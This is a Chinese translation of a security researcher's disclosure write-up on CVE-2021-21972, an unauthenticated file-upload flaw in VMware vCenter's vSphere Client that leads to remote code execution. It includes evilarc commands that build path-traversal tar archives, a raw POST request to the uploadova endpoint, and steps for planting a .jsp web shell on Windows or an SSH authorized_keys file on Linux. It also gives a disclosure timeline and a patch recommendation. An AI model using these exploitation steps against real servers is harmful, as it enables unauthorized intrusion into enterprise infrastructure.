原文地址:https://swarm.ptsecurity.com/unauth-rce-vmware/
由于VMware vCenter RCE(CVE-2021-21972)的PoC现已公开,因此,我们将在本文中涵盖与该漏洞相关的所有技术细节。
2020年秋,我在VMware vCenter的vSphere Client组件中发现了多个安全漏洞。这些漏洞使未经授权的客户端可以通过各种协议以目标服务器的身份执行任意命令并发送请求,具体包括:
- 未经授权的文件上传会导致远程执行代码(RCE)(CVE-2021-21972)
- 未经授权的服务器端请求伪造(SSRF)漏洞(CVE-2021-21973)
在本文中,我不仅会为读者介绍自己是如何发现VMware vSphere客户端的RCE漏洞的,同时,还将介绍该漏洞的技术细节,以及如何在各种平台上利用该漏洞。
什么是VMware vCenter/vSphere?
vSphere和vCenter软件用于实现企业基础设施的虚拟化,并提供了对其进行控制的相关手段。虽然这个软件也有可能在内网之外遇到,但在大多数情况下,它位于内部网络上。
漏洞的发现过程
在分析vSphere Client的过程中,我采用了黑盒和白盒两种测试方法,像往常一样,重点关注那些未经授权就可以利用的漏洞。为此,我尝试从Web面板发送尽可能多的不同请求,所有请求都没有提供Cookie头部。
在发送了一个未经授权的请求到/ui/vropspluginui/rest/services/*
后,我发现它竟然没有要求进行任何的身份验证。
URL无需授权即可访问
Web应用程序的一些功能是通过某些插件实现的,它们通常位于单独的.jar
文件中。比如vropspluginui插件,就是在vropsplugin-service.jar
文件中实现的。
根据我的理解,每个插件都必须指定其哪些端点需要在web面板中授权才能运行,哪些不需要。例如,上面这个插件就被配置为允许未经授权的用户访问它处理的任何URL。
负责处理URL /ui/vropspluginui/rest/services/uploadova
的uploadOvaFile
函数引起了我的兴趣。
存在漏洞的代码
该路径的处理程序执行了以下操作:
- 接收一个带有uploadFile参数的POST请求。
- 读取该参数,并将其内容写入inputStream变量。
- 将生成的数据作为.tar存档打开。
- 检索所有存档的(非目录)条目。
- 遍历所有条目时,使用文件命名约定:/tmp/unicorn_ova_dir+entry_name在磁盘上为每个当前条目创建了相应的副本。
这时我注意到,.tar条目的名称没有进行安全过滤。相反,它们只是简单地与字符串“/tmp/unicorn_ova_dir
”连在一起,并据此在相应的位置创建一个文件。这意味着我们可以创建一个包含字符串“.../
”的归档条目,这将允许我们上传一个任意文件到服务器上的任意目录。
为了利用这个漏洞,我们需要制作一个.tar
归档文件,为此,我们可以借助于evilarc工具。
python evilarc.py -d 2 -p 'testFolder\' -o win -f winexpl.tar testUpload.txt
生成的归档中包含了一个文件,名称为..\..\testFolder\testUpload.txt
。我把它上传到URL /ui/vropspluginui/rest/services/uploadova
,并检查服务器的文件系统中是否存在testFolder文件夹及其嵌套文件(位于C:\目录下)。
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vSphereClient.local
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 10425
------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain
{craftedArchive}
------WebKitFormBoundaryH8GoragzRFVTw1VD--
测试文件已成功上传
我的.txt文件已经成功上传,现在,我们就可以访问C:\testFolder\testUpload.txt
了。
在Windows上实现RCE
为了能够在目标系统上执行任意命令,我们需要上传一个.jsp shell,并允许在没有授权的情况下进行访问。为了找到这样的位置,需要:
- 在磁盘上查找可以使用上述漏洞创建文件的可写路径。
- 将找到的文件路径映射到可访问的Web根目录的文件夹结构中,该目录必须能够运行.jsp脚本,并且不需要授权。
首先,我们通过上传文件testUpload.txt
并查看其属性菜单,来检查我们上传的文件获得了哪些权限。我们可以看到,该文件的所有者是用户“vsphere-ui”。
上传文件的相关属性
在搜索候选位置时,我们发现C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport
(其中含有.jsp
文件)看起来很有希望。
JSP脚本未经授权即可访问
检查发现,jsp脚本未经授权即可访问。接下来,让我们检查一下vsphere-ui是否对这个目录具有写权限。
目标文件夹的安全属性
果然,确实如此。太好了!这就意味着,现在我们可以通过上传一个特制的.jsp文件,从而实现在系统上执行命令的目的。
让我们创建一个包含我们精心制作的.jsp shell payload的归档,并将其发送到我们正在考察的URL。
python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl.tar testRCE.jsp
漏洞利用
我们的.jsp脚本已经上传到服务器上,使我们有机会在系统上以NT Authority\system
权限执行任意命令。
在Linux上实现RCE
对于Linux系统,情况会有所不同。但是,它们也很容易受到攻击,并允许外部用户上传任意文件。
在Linux系统上,我没有找到同时允许上传并执行.jsp shell
的目录。不过,我们找到了另一种在服务器上实现命令执行的方法。
我们知道,我们可以使用vsphere-ui用户的权限上传任意文件。如果我们上传一个公钥到这个用户的主目录,并尝试使用私钥通过SSH连接到服务器,会怎样呢?
让我们检查SSH是否可以通过外部进行访问:
nmap -p 22 vSphereLinux.local
目标端口已打开
第一步是生成密钥对:
ssh-keygen -t rsa
生成密钥对
然后,使用生成的公共密钥创建.tar存档:
python evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f linexpl.tar authorized_keys
使用evilarc生成tar存档
接下来,我们使用该漏洞上传文件,并尝试通过SSH连接到目标主机:
ssh -i /path/to/id_rsa vsphere-ui@vSphereLinux.local
访问命令行
好了,我们已经可以使用vsphere-ui用户的权限访问服务器了。
小结
在本文中,我们演示了一种以未经身份验证的用户在VMware vSphere Client中实现RCE的方法。除了访问命令行以外,由于vropspluginui插件缺少身份验证机制,所以,实际上攻击者还可以执行其他的恶意操作。
强烈建议更新到最新版本的VMware vSphere Client。有关该漏洞的更多信息,请参阅iVMSA-2021-0002。
希望网络世界会越来越安全!
时间线
- 2020年10月2日:向供应商报告漏洞。
- 2020年10月3日:供应商首次回应。
- 2020年10月9日:成功复现了漏洞,供应商开始制定修复计划。
- 2021年2月23日:修复了漏洞并发布了相关的安全建议。
-
-
-
-
-
-